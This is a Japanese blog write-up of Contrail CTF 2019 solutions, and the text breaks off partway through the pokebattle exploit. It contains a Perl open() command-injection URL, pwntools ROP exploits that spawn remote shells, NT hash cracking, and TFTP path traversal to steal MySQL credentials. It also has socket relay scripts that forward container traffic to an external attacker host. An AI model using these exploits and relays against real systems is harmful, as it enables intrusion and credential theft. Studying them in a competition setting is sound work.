ommadawn46's blog

きまぐれセキュリティブログ

Contrail CTF 2019 Writeup

はじめに

12月31日から1月4日にかけて開催されたContrail CTF 2019に参加しました。ommadawn46としてソロでの参加です。正月の暇な時間の大半を費やし、結果的に総合2位になることができました。

f:id:ommadawn46:20200105165034p:plain

この記事は競技中に解いた問題(+競技終了後に解けた問題1つ)のWriteupです。普段あまりWriteupを書かないのですが、ContrailCTFは全体的にエスパー要素が無く、良問が多いコンテストだったので普通に書いてみたくなったのと、順位が良かったので記念に書きたいという気持ちもあり書いてみることにしました。

[web] LegacyBlog (100pts)

問題

I found old mini blog in hdd.

author douro

http://114.177.250.4:9999/cgi-bin/viewer.pl

解法

URLの拡張子が.plであることからPerlで書かれたCGIであると推測できます。クエリストリングに?text={ファイル名}を指定することで任意のファイルの内容を読み出すことができるアプリとなっています。

Perlのopen関数にユーザ入力値を直接渡してしまうと即座にOSコマンドインジェクションが可能となってしまい危険である、ということは古い人には有名らしいです(参考)。このサイトもどうやらユーザ入力値をそのままopen関数に渡しているようで?text=|{OSコマンド}|を指定するとOSコマンドの実行結果が表示されます。

カレントディレクトリにはflagがなかったので、あれこれ探索しているとルートディレクトリにflagというファイルがあることが分かりました。ls -lで権限を確認すると---x--x--xとなっており、実行可能ファイルであると推測して実行したところflagが表示されました。

http://114.177.250.4:9999/cgi-bin/viewer.pl?text=|../../../../../../../../flag|
ctrctf{Th1s_1s_01d_cg1_exp101t}

余談ですが、open関数に関してはRubyも同様の仕様になっているのでWebアプリで使用する際は注意が必要です。

[forensics] Persistence (100pts)

問題

Can you find persistence? https://www.dropbox.com/s/yoge7ix39jyrpnv/forensics_persistence.arn?dl=0

author narupi

配布ファイルが1つ。中身はAutorunsの実行結果ファイル(.arn)です。

解法

WindowsマシンでAutoruns.exeを起動し、配布ファイルを読み込ませるとタスクスケジューラに \evil というあからさまな名前のタスクが登録されています。

f:id:ommadawn46:20200105164235p:plain

タスクが実行しているスクリプトのファイル名がflagになっているのでコピペして終了です。

ctrctf{P3rs1st3nc3_5ch3dul3d_Ta3ks}

[network] debug_port (100pts)

問題

A suspicious script has been executed. https://www.dropbox.com/s/zw76f3qm2k0x3g1/network_debug_port.pcapng?dl=0

author narupi

network_debug_port.pcapng(パケットダンプファイル)が配布されます。

解法

配布ファイルにstringsをかけるとbase64らしき文字列が見つかります。

❯ strings network_debug_port.pcapng
...省略...
ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo=

デコードすると普通にflagが出てきます。wiresharkを開く必要すら無く解けました。

echo ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo= | base64 -D
echo 'congratulations!'
echo 'flag is "ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}"' 
ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}

[pwn] welcomechain (100pts)

問題

Welcome Contrail CTF! Let's chain!

author aqua

nc 114.177.250.4 2226

welcomechain(ELF 64bit)とlibc.so.6が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/welcomechain$ checksec ./welcomechain
[*] '/media/sf_VMShare/CTF/ContrailCTF/welcomechain/welcomechain'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  '/home/ommadawn46/VMShare/CTF/ContrailCTF/welcomechain'

解法

welcome関数の中でfgetsを使ってstdinから256bytes読み込んでいます。しかし、スタック上のバッファは32bytesしか確保されていないので、スタックバッファオーバーフローを引き起こしてリターンアドレスを書き換えることができます。

スタック保護無しかつ、PIEではないバイナリなので普通にROPを組み立てれば攻撃が可能です。以下の順序で処理を実行するROPを組み立てればシェルを取ることができます。

  1. 任意のlibc関数を指すGOTのアドレスを第1引数として設定
  2. putsを呼び出しGOT上のlibc関数のアドレスをleak。libc.6.so上のleakさせた関数のオフセットを減算し、libcが配置されているアドレス(libc_base)を割り出す。libc_baseにlibc.6.so上のexecv"/bin/sh"の文字列までのオフセットを加算し、それぞれが配置されているアドレスを割り出す
  3. welcome関数を再度呼び出す
  4. "/bin/sh"のアドレスを第1引数として設定
  5. NULLを第2引数として指定
  6. execvを呼び出し、シェルを起動
# -*- encoding: utf-8 -*-
from pwn import *
import sys

LOCAL = sys.argv[1] == "local"

if LOCAL:
    # patchelf --set-interpreter ~/libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath $(pwd) ./welcomechain
    p = process("./welcomechain")
else:
    p = connect("114.177.250.4", 2226)

puts_got = 0x601020
puts_plt = 0x4005A0
welcome_addr = 0x400740

pop_rdi = 0x400853  # 0x400853 : pop rdi ; ret
pop_rsi_r15 = 0x400851  # 0x400851 : pop rsi ; pop r15 ; ret

libc_puts_ofs = 0x809C0  # $ readelf -s libc.so.6 | grep puts
libc_execv_ofs = 0xE4FA0  # $ readelf -s libc.so.6 | grep execv
libc_binsh_ofs = 0x1B3E9A  # $ strings -tx libc.so.6 | grep /bin/sh

return_addr_ofs = 40


def leak_libc_addr():
    # GOTからputsのアドレスをleakし、libcのアドレスを割り出す
    payload = "A" * return_addr_ofs
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(welcome_addr)

    resp = p.recvuntil("Please Input :")
    p.sendline(payload)
    resp += p.recvuntil("Your input is : ")
    resp += p.recvuntil("Welcome! Contrail CTF!")

    puts_addr = u64(resp.split("\n")[-3] + "\x00\x00")
    libc_base = puts_addr - libc_puts_ofs
    return libc_base


def execv_shell(libc_base):
    # execvを呼び出してシェルを起動
    execv_addr = libc_base + libc_execv_ofs
    binsh_addr = libc_base + libc_binsh_ofs

    payload = "A" * return_addr_ofs
    payload += p64(pop_rdi)
    payload += p64(binsh_addr)
    payload += p64(pop_rsi_r15)
    payload += p64(0)
    payload += p64(0)
    payload += p64(execv_addr)

    resp = p.recvuntil("Please Input :")
    p.sendline(payload)
    resp += p.recvuntil("Your input is : ")
    resp += p.recvline()
    return resp


if __name__ == "__main__":
    libc_base = leak_libc_addr()
    resp = execv_shell(libc_base)

    p.interactive()

カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。

$ ls
bin
dev
flag
lib
lib32
lib64
welcomeropchain
$ cat flag
ctrctf{W31c0m3!_c0ntr4i1_ctf_r3t2l1bc!}

[misc] Lets_Connct (100pts)

問題

nc 114.177.250.4 2999

author pr0xy

解法

ncでサーバにつなぐとシェルが起動しますが、cdlsくらいしかコマンドが使えない状態になっています。カレントディレクトリにflagというファイルがありますが、catも無いので簡単には読み出すことはできません。

historyコマンドは使えたので、-rオプションを使用してflagファイルをhistoryファイルとしてreadさせると内容を読むことができました。

bash-4.4$ history -r flag
history -r flag
bash-4.4$ history
history
    1  history -r flag
    2  Flag has moved to 3000 port on 172.17.0.10 .
    3  history

Flag has moved to 3000 port on 172.17.0.10 .と言うのがflagの内容です。172.17.0.10:3000にflagがあるということらしいです。

bashには/dev/tcp/{host}/{port}を使用してTCP通信を行うことができる機能があります。これを利用してexecにリダイレクトしてみたところflagが表示されました。

bash-4.4$ exec <> /dev/tcp/172.17.0.10/3000
exec <> /dev/tcp/172.17.0.10/3000
bash-4.4$ ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}
bash: ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}: command not found

[misc] prime_number (356pts)

問題

it's secret call...
https://youtu.be/-mEdbrioxqY

note : password is upper case.

author aqua

secret.zip(パスワード付きzipファイル)とsecret_call.wav(waveファイル)が配布されます。

解法

問題文の動画を見るとsecret_call.wavが電話番号を押したときに鳴る音であることが分かります。音声ファイルをSonicVisualizerにかけてみると音が鳴るタイミングが一定間隔になっています。音ごとに分離してフーリエ変換すれば「あるタイミングで鳴っている音が、他のどのタイミングの音と同じ音か」は簡単に特定できそうです。

f:id:ommadawn46:20200105180142p:plain

極めて雑なスクリプトですが、以下のスクリプトを実行するとab bc dd e fc dd fd dd gd dd gd b dd fd c cd gd dbという結果になります。ここの各文字が鳴っている音を表しており、同じ文字のところは同じ音が鳴っています。これらの文字を0〜9の数字に置き換えていけば正しい番号になるはずです。

import wave
import string
import numpy as np
import itertools


def fourier(x, w):
    n = len(x)
    span = n // w
    K = []
    for i in range(n // w):
        sample = x[i * w : (i + 1) * w]
        partial = np.fft.fft(sample)
        K.append(partial)
    return K


if __name__ == "__main__":
    pass_len = 18

    with wave.open("secret_call.wav", "r") as wave_file:
        frames = wave_file.readframes(wave_file.getnframes())
    x = np.frombuffer(frames, dtype=np.int16)
    ks = fourier(x, 400)

    codes, syms = [], []
    mute_max = 13056000.0
    for i, k in enumerate(ks):
        if abs(mute_max - np.abs(k).max()) > 0.1:
            sym = np.abs(k).mean()
            is_new = True
            for sym_ in syms:
                if abs(sym - sym_) < 0.001:
                    is_new = False
                    codes.append((i, string.ascii_letters[syms.index(sym_)]))
                    break
            if is_new:
                syms.append(sym)
                codes.append((i, string.ascii_letters[len(syms) - 1]))

    prev, place_holders = 0, ""
    for i, sym in codes:
        if i - prev > 2:
            place_holders += " "
        place_holders += sym
        prev = i
    print(place_holders)

文字の置き換え方ですが、問題文から恐らく全ての数字が素数になるのだろうと推測し、全ての文字を置き換える組み合わせについて素数以外の数字が出てくるかをチェックし、素数のみが登場する組み合わせだけを残しました。以下がその結果です。

03 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13
03 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
03 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13
03 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13
07 73 11 2 43 11 41 11 61 11 61 7 11 41 3 31 61 17
07 73 11 5 43 11 41 11 61 11 61 7 11 41 3 31 61 17
23 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13
23 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13
53 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13
53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
83 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13
83 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
83 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13
83 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13
97 73 11 2 43 11 41 11 61 11 61 7 11 41 3 31 61 17
97 73 11 5 43 11 41 11 61 11 61 7 11 41 3 31 61 17

さらに、ここに出てくる素数を「何番目の素数か」に置き換えていくと以下のようになります。

1 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
1 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
1 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
1 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
3 20 4 0 13 4 12 4 17 4 17 3 4 12 1 10 17 6 
3 20 4 2 13 4 12 4 17 4 17 3 4 12 1 10 17 6 
8 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
8 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
15 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
15 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
22 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
22 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
22 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
22 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
24 20 4 0 13 4 12 4 17 4 17 3 4 12 1 10 17 6 
24 20 4 2 13 4 12 4 17 4 17 3 4 12 1 10 17 6 

全てが26以下になったことから、「アルファベットの何番目か」を表している可能性が高いと推測できます。アルファベットに置き換えます。

BLEAOEMERERBEMDTRF
BLEASEREMEMBERDTMF
BLECOEMERERBEMDTRF
BLECSEREMEMBERDTMF
DUEANEMERERDEMBKRG
DUECNEMERERDEMBKRG
ILECOEMERERBEMDTRF
ILECSEREMEMBERDTMF
PLEAOEMERERBEMDTRF
PLEASEREMEMBERDTMF
WLEAOEMERERBEMDTRF
WLEASEREMEMBERDTMF
WLECOEMERERBEMDTRF
WLECSEREMEMBERDTMF
YUEANEMERERDEMBKRG
YUECNEMERERDEMBKRG

結果を注意深く眺めるとPLEASEREMEMBERDTMF だけ英語として読める文字列になっています。これを配布ファイルのzipファイルのパスワードとして入力すると正しく展開することができます。

展開するとflag.txtというテキストファイルが出てくるので、適当な方法で読めばflagが手に入ります。

ctrctf{d0_y0u_r3m3mb3r_dtmf?}

あの音、DTMFって言うんですね…何も知らずに解いてしまった。

[forensics] alice's password (304pts)

問題

Alice losts her password...

I lockyou alice's password

https://drive.google.com/open?id=1OXU9szO2h5Y2iikByMKEBSwsEVchuFw-

zip password is md5(alice's password)

author aqua

flag.zip(パスワード付きzipファイル)とmemdump.memWindowsのメモリダンプファイル)が配布されます。

解法

Aliceのパスワードを手に入れるのが目標の問題です。

Volatilityのimageinfoを実行すると、Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418のProfileが提案されます。

❯ vol.py imageinfo -f memdump.mem 
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/Users/ommadawn46/VMShare/CTF/ContrailCTF/alices_password/memdump.mem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002a3c0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002a3dd00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2019-12-29 10:04:58 UTC+0000
     Image local date and time : 2019-12-29 19:04:58 +0900

取り敢えずWin7SP1x64をProfileとして使用し、hashdumpを実行してメモリ上のパスワードハッシュを取得します。

❯ vol.py hashdump -f memdump.mem --profile=Win7SP1x64
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Aqua:1000:aad3b435b51404eeaad3b435b51404ee:813ea107eccdab91a1b9c15b67693cb4:::
Alice:1001:aad3b435b51404eeaad3b435b51404ee:19bf8c07d19ea196464115e443854654:::

John The Ripperを使用してパスワードハッシュをクラックします。問題文のI lockyou alice's passwordという一文にはワードリストとしてrockyou.txtを使用しなさいという意図があると受け取りました。

❯ john passhash.txt --wordlist=~/wordlist/rockyou.txt --format=NT
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE4.1 4x4])
Press 'q' or Ctrl-C to abort, almost any other key for status
i<3orange.       (Alice)
1g 0:00:00:01 DONE (2020-01-05 19:09) 0.8849g/s 6622Kp/s 6622Kc/s 6622KC/s i<3pld..i<3me7
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed

クラックが無事に成功し、Aliceのパスワードがi<3orange.であることが分かりました。i<3orange.MD5ハッシュを配布されたzipファイルのパスワードとして入力するとflagを取得できます。

ctrctf{Y0u_c4n_dump_4nd_cr4ck_hash!}

[rev] DownloaderLog (100pts)

問題

A suspicious process was downloading some files.

https://www.dropbox.com/s/losftwhw7w0718d/log.pcap?dl=0

I ask you for this inspection.

author pr0xy

log.pcap(パケットダンプファイル)が配布されます。

解法

wiresharkで配布ファイルを開くと、何らかのファイルをダウンロードしているHTTP通信があることが分かります。ダウンロードされたファイルをdumpすると、k7zg2B(ELF 64bit)と7GNqHT(テキストファイル)の2つのファイルが出てきます。

k7zg2Bを解析すると、この実行ファイルは「コマンドライン引数で指定されたファイルの内容」と「time(NULL)で取得した現在時刻」の2つの値に動作が依存していることが分かります。

前者のファイルはdumpで出てきた、もう片方のファイル 7GNqHT であると推測し、引数に指定してみるもののinvalid :|と表示されてしまいます。

$ ./k7zg2B 7GNqHT 
invalid :|

現在時刻の方が合ってないのが原因であると考えられるので、pcapファイルからファイルがダウンロードされた時刻を特定します。

f:id:ommadawn46:20200105193044p:plain

dateでその時刻にシステム時刻設定を合わせ、バイナリを実行し直すとflagが表示されます。

$ sudo date -s "2019/12/24 16:28:45+09" && ./k7zg2B 7GNqHT
2019年 12月 24日 火曜日 16:28:45 JST
Nice :) Flag is here
ctrctf{u_are_3inary_4na1yst}

[crypto] document_rescue (400pts)

問題

I wanted to give you a secret file, but I found that it was encrypted by a strange program. Can you decrypt it referring to the program?

https://www.dropbox.com/s/4t25svaw4rt1p50/document_rescue.zip?dl=0

author Ciruela

flag.www(暗号化されたPDFファイル)とencrypt.py(暗号化スクリプト)が配布されます。以下が暗号化スクリプトの内容です。

import os

target_ext = '.pdf'

def define_keys():
    with open('keys.txt', 'r') as f:
        a = int(f.readline())
        x = int(f.readline())
        b = int(f.readline())
        modified_header_text = f.readline()[:-1].encode()
    return a, x, b, modified_header_text

def encryptor01(a, x, b, m):
    return (a * x + b) % m
    
def encryptor02(filename):
    f = open(filename + target_ext, 'rb')
    g = open(filename + '.www', 'wb')

    # define keys
    a, x, b, modified_header_text = define_keys()
    m = pow(2, 32)

    assert a < m and x < m and b < m
    
    data = bytearray(f.read())
    data_length = len(data)
    padding_length = (-data_length) % 4
    data += (b'\x00' * padding_length)
    data_length += padding_length

    # header modification!
    index = 0
    modified_header = b'%PDF-9.9'
    modified_header += modified_header_text
    while True:
        if index >= len(modified_header):
            break
        data[index] = modified_header[index]
        index += 1
    
    # main encryption process
    index = 0
    while True:
        if index == data_length:
            break
        plain = int.from_bytes(data[index:index + 4], 'big')
        x = encryptor01(a, x, b, m) ^ plain
        g.write(x.to_bytes(4, 'big'))
        index += 4
    
    f.close()
    g.close()

if __name__ == '__main__':
    filenames = os.listdir('.')
    for filename in filenames:
        if filename[-len(target_ext):] == target_ext:
            encryptor02(filename[:-len(target_ext)])
            os.remove(filename)
    os.remove('keys.txt')

解法

この暗号化スクリプトは以下の処理を行うものとなっています。

  • PDFファイルのヘッダを何らかの文字列で上書きする。何bytesが上書きされるかは不明だが、上書き後の先頭8bytesの値が判明している(%PDF-9.9
  • PDFファイルのbytes長が4で割り切れない場合は末尾を4の倍数の長さになるまで\x00でパディングする
  • 線形合同法っぽい方法で32bit長の乱数を生成し、乱数と平文をXORしたものを暗号文とするワンタイムパッド的な手法でPDFファイル全体を暗号化する

以下が乱数を生成する関数です。線形合同法とよく似ています。

def encryptor01(a, x, b, m):
    return (a * x + b) % m

a, b, mは定数で、xが乱数生成の種となっています。

def encryptor02(filename):
    ...省略...
    x = encryptor01(a, x, b, m) ^ plain

encryptor02()を見ると、xが「1つ前の乱数」ではなく「1つ前の乱数と平文をXORした値」であるというところが線形合同法との違いであることが分かります。しかし、この場合でも線形合同法と同じくy = a * x + b mod mを満たすyxの組み合わせを複数見つければ、連立方程式を解いてabを求めることができます。

abが求まれば乱数を予測することが可能になるため、PDFの暗号化を解くことが出来るはずです。yxの1組目は、ヘッダーの先頭8bytesがソースコードから既知であることを利用して見つけることができます。

x1 = 暗号文の0-4byte
y1 = 暗号文の4-8byte ^ "-9.9"

2組目はPDFの末尾が%EOFで終了することを利用して見つけることができます。ただし、パディングが入るため、%EOF, EOF\x00, OF\x00\x00, F\x00\x00\x00の4パターンの平文が考えられます。

x2 = 暗号文の末尾8-4byte
y2 = 暗号文の末尾4-0byte ^ {"%EOF", "EOF\x00", "OF\x00\x00", "F\x00\x00\x00"} のいずれか

パターンが少ないため全て試してうまく行くものを探せば良さそうです。z3を使用して全てのパターンで復号化を試すスクリプトを書きました。

import z3

M = pow(2, 32)

with open("./document_rescue/flag.www", "rb") as f:
    enc_d = f.read()

pdf_eof = b"%EOF"

p_1 = int.from_bytes(b"%PDF", "big")
p_2 = int.from_bytes(b"-9.9", "big")

x_2 = int.from_bytes(enc_d[0:4], "big")
x_3 = int.from_bytes(enc_d[4:8], "big")

x_n = int.from_bytes(enc_d[-8:-4], "big")
x_n_plus1 = int.from_bytes(enc_d[-4:], "big")

y_1 = p_1 ^ x_2
y_2 = p_2 ^ x_3


def solve(p_n_bytes):
    p_n = int.from_bytes(p_n_bytes, "big")
    y_n = p_n ^ x_n_plus1

    s = z3.Solver()
    a_bv = z3.BitVec("a", 32)
    b_bv = z3.BitVec("b", 32)

    s.add(y_2 == a_bv * x_2 + b_bv)
    s.add(y_n == a_bv * x_n + b_bv)

    pattern = 0
    while s.check() == z3.sat:
        m = s.model()
        a = m.evaluate(a_bv).as_long()
        b = m.evaluate(b_bv).as_long()

        linear_congruential = lambda x: (a * x + b) % M

        with open(f"./pdfs/{hex(p_n)}_{pattern}.pdf", "wb") as f:
            f.write(p_1.to_bytes(4, "big"))
            for i in range(0, len(enc_d) - 4, 4):
                x_i = int.from_bytes(enc_d[i : i + 4], "big")
                x_i_plus1 = int.from_bytes(enc_d[i + 4 : i + 8], "big")
                y_i = linear_congruential(x_i)
                p_i = x_i_plus1 ^ y_i
                f.write(p_i.to_bytes(4, "big"))

        s.add(z3.Or(a_bv != a, b_bv != b))
        pattern += 1


if __name__ == "__main__":
    for pad in range(0, 4):
        p_n_bytes = pdf_eof[pad:] + b"\x00" * pad
        solve(p_n_bytes)

実行すると8種類のPDFが出力されます。ヘッダーが上書きされていてそのままでは表示できないので、1つずつPDF Tools Online - Repair PDFに投げて修復していくと無事flagが表示されました。

f:id:ommadawn46:20200105212829p:plain

ctrctf{f1l3_5truc7ur3_1nf0rm471on_4lw4ys_help_u}

[web] NoWallForUs (436pts)

問題

This is saikyou programmer contest.

http://114.177.250.4:1234/

code: https://drive.google.com/file/d/1EHUY2UDK8BGbs-TaSrXs7un1m4Suz7bW/view?usp=sharing

author douro

12/31 2:32 [web]NoWallForUsにおいてmysqlに関する不具合を訂正しました。

Hint: The flag is on the DB server, but you have to get the password first.

Hint2: Read values_default.go and database/

Hint3: You can steal mysql-password from server(Host computer) . That is'nt the default value .

Hint4: Host IP is in executeUsercode.go

配布ファイルは問題のWebサービスソースコードです。ハードコードされたパスワードなどの値が変更されているのを除けば、問題と同じコードになっています。

調査

AtCoderなどによく似た競技プログラミングサービスを攻撃する問題です。ソースコードを提出すると、提出ごとにDockerコンテナが立ち上がり、その中で提出したコードが実行されるようになっています。問題文のHintによると、flagはDBの中にあるということです。つまり、DBに接続してflagを盗み出すのがこの問題の目標になります。

どこから手をつけていいか分からないので、取り敢えずソースコードを読み解いたり、OSコマンドを実行するスクリプトを提出して環境を調べるといった方法で調査を行いました。その結果、このサービスには以下のような問題が存在することが分かりました。

  • 提出コードを実行するコンテナからホストサーバの任意のポートに対してアクセスが可能(SSRF)
  • ホストサーバで動作するTFTPデーモンにパストラバーサル脆弱性がある
  • mysqlのパスワードがサーバプログラムのソースコードにハードコードされている

この調査結果から、以下のようなステップを踏むことでDBにログインできそうだという道筋が見えてきます。

  1. TFTPデーモンに接続し、パストラバーサルを悪用してmysqlのパスワードが記載されたソースコードを盗み出すスクリプトを提出する
  2. mysqldに1.のパスワードを使用してログインし、flagを読み出すスクリプトを提出する

ただ、問題はスクリプトが実行されるコンテナには最小限のコマンドしか入っていないことです。tftpコマンドやmysqlコマンドが使えない中、どうやってTFTPデーモンに接続し、mysqldに接続するかがこの問題難しいところとなっています。

解法

この課題を解決する方法はいくつもあると思われるのですが、今回は「ホストサーバ」と「自分が管理する外部サーバ」の間をコンテナ経由でポートフォワードするスクリプトを作成して提出し、コンテナ上で実行するという方法を取りました。これにより、TLEまでの30秒の間だけコンテナ経由で直接外部からtftpコマンドやmysqlコマンドでターゲットに接続できるようになります。

tftpはUDPmysqlTCPなので、それぞれフォワーディングスクリプトを書きました。

UDP

import socket
import _thread
import time

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

addr_1 = ("172.17.0.1", 4444)
addr_2 = ("104.198.86.99", 55555)

s.sendto(b"\n", addr_1)
s.sendto(b"\n", addr_2)

resp = " "
while True:
    resp, server = s.recvfrom(1024)
    if server[0] == addr_2[0]:
        s.sendto(resp, addr_1)
    else:
        s.sendto(resp, addr_2)

TCP

import socket
import _thread
import time

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s1.connect(("172.17.0.1", 3306))
s2.connect(("104.198.86.99", 55555))


def forward(source, destination):
    string = " "
    while string:
        string = source.recv(1024)
        if string:
            destination.sendall(string)
        else:
            source.shutdown(socket.SHUT_RD)
            destination.shutdown(socket.SHUT_WR)

_thread.start_new_thread(forward, (s1, s2))
_thread.start_new_thread(forward, (s2, s1))

while True:
    time.sleep(100)

後は、先程建てた道筋通りに外部から攻撃を行います。

mysqlパスワードの窃取

TFTPデーモンを攻撃し、ソースコードからmysqlのパスワードを盗み出します。上記のUDPフォワーディングスクリプトを回しながら、ローカルからtftpコマンドで接続し、パストラバーサルを悪用してvalues.goを盗み出します。

❯ tftp 104.198.86.99 55556
tftp> get /../go/src/values/values.go
Received 318 bytes in 0.0 seconds

以下が盗み出したソースコードの内容です。mysqlには、ユーザ名: nowall, パスワード: jaldsfkで接続できることが分かります。

package values

const (
    MaxWorker          = 10
    JudgeHostPort      = "localhost:8888"
    QueHostPort        = "localhost:4649"
    QuebackHostPort    = "localhost:5963"
    FileServerHostPort = "localhost:4444"
    MySQLDBN           = "nowall:jaldsfk@tcp(172.17.0.1:3306)/nowall"
    Salt               = "SLSLSLFT"
)

DBへの接続

窃取したmysqlパスワードを使用し、DBにログインしてflagを盗み出します。上記のTCPフォワーディングスクリプトを回しながら、ローカルからmysqlコマンドで接続します。

❯ mysql -h 104.198.86.99 -P 55556 -unowall -pjaldsfk
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1162
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

ログインに成功しました。後はソースコードのDBスキーマを参考にし、SQL文を投げればflagを取得できます。

mysql> select * from nowall.flag;
+---------------------------------+
| flag                            |
+---------------------------------+
| ctrctf{Y0u_4r3_ult1m4t3_h4ck3r} |
+---------------------------------+
1 row in set (0.03 sec)

[pwn] pokebattle (100pts)

問題

Let's Pokemon battle!

author aqua/douro

nc 114.177.250.4 2225

pokebattle(ELF 64bit)とlibc.so.6が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/pokebattle$ checksec pokebattle
[*] '/media/sf_VMShare/CTF/ContrailCTF/pokebattle/pokebattle'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/home/ommadawn46/VMShare/CTF/ContrailCTF/pokebattle'

解法

捕まえたポケモンの名前を入力する処理にバッファオーバーフロー脆弱性があります。捕まえたポケモンの情報は以下のような構造体に格納されます。

struct pokemon {
    char name[32];
    long hp;
    void (*func)(*char) attack_func;
};

nameから40byte先にはattack_func(関数ポインタ)があり、戦闘時に自分のnameを引数に設定しattack_funcを呼び出します。

この問題ではPIEが有効になっているので、まずはバイナリが配置されているアドレスをデフォルトのattack_func(kick関数)のアドレスから割り出し、その後printfを使用してlibc関数のアドレスをleakさせます。

libcのベースアドレスが割り出せたら、attack_funcにsystem関数を設定し、name"/bin/sh"にしたポケモンを戦闘させてシェルを起動します。

# -*- encoding: utf-8 -*-
from pwn import *

LOCAL = sys.argv[1] == "local"

if LOCAL:
    # patchelf --set-interpreter ~/libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath $(pwd) ./pokebattle
    p = process("./pokebattle")
else:
    p = connect("114.177.250.4", 2225)


def fight():
    resp = p.recvuntil("4. Pokemons\n>")
    p.sendline("1")
    resp += p.recvuntil("Pichu is dead.")
    return resp


def poke_ball(slot, name):
    resp = p.recvuntil("4. Pokemons\n>")
    p.sendline("2")
    resp += p.recvuntil("slot :")
    p.sendline(str(slot))
    resp += p.recvuntil("name :")
    p.sendline(name)


def pokemons(slot):
    resp = p.recvuntil("4. Pokemons\n>")
    p.sendline("4")
    resp += p.recvuntil("Select Pokemon :")
    p.sendline(str(slot))
    return resp


def parse_pokemons(s):
    pokes = []
    s = s.split("0 . ")[1]
    for i in range(1, 10):
        poke, s = s.split("%d . " % i)
        pokes.append(poke)
    pokes.append(s.split("Select Pokemon :")[0])

    parsed_pokes = []
    for poke in pokes:
        name, poke = poke.split(" /HP[")
        hp = poke.split("]")[0]
        parsed_pokes.append((name, hp))
    return parsed_pokes


kick_ofs = 0x10092A
printf_plt_ofs = 0x1007B0

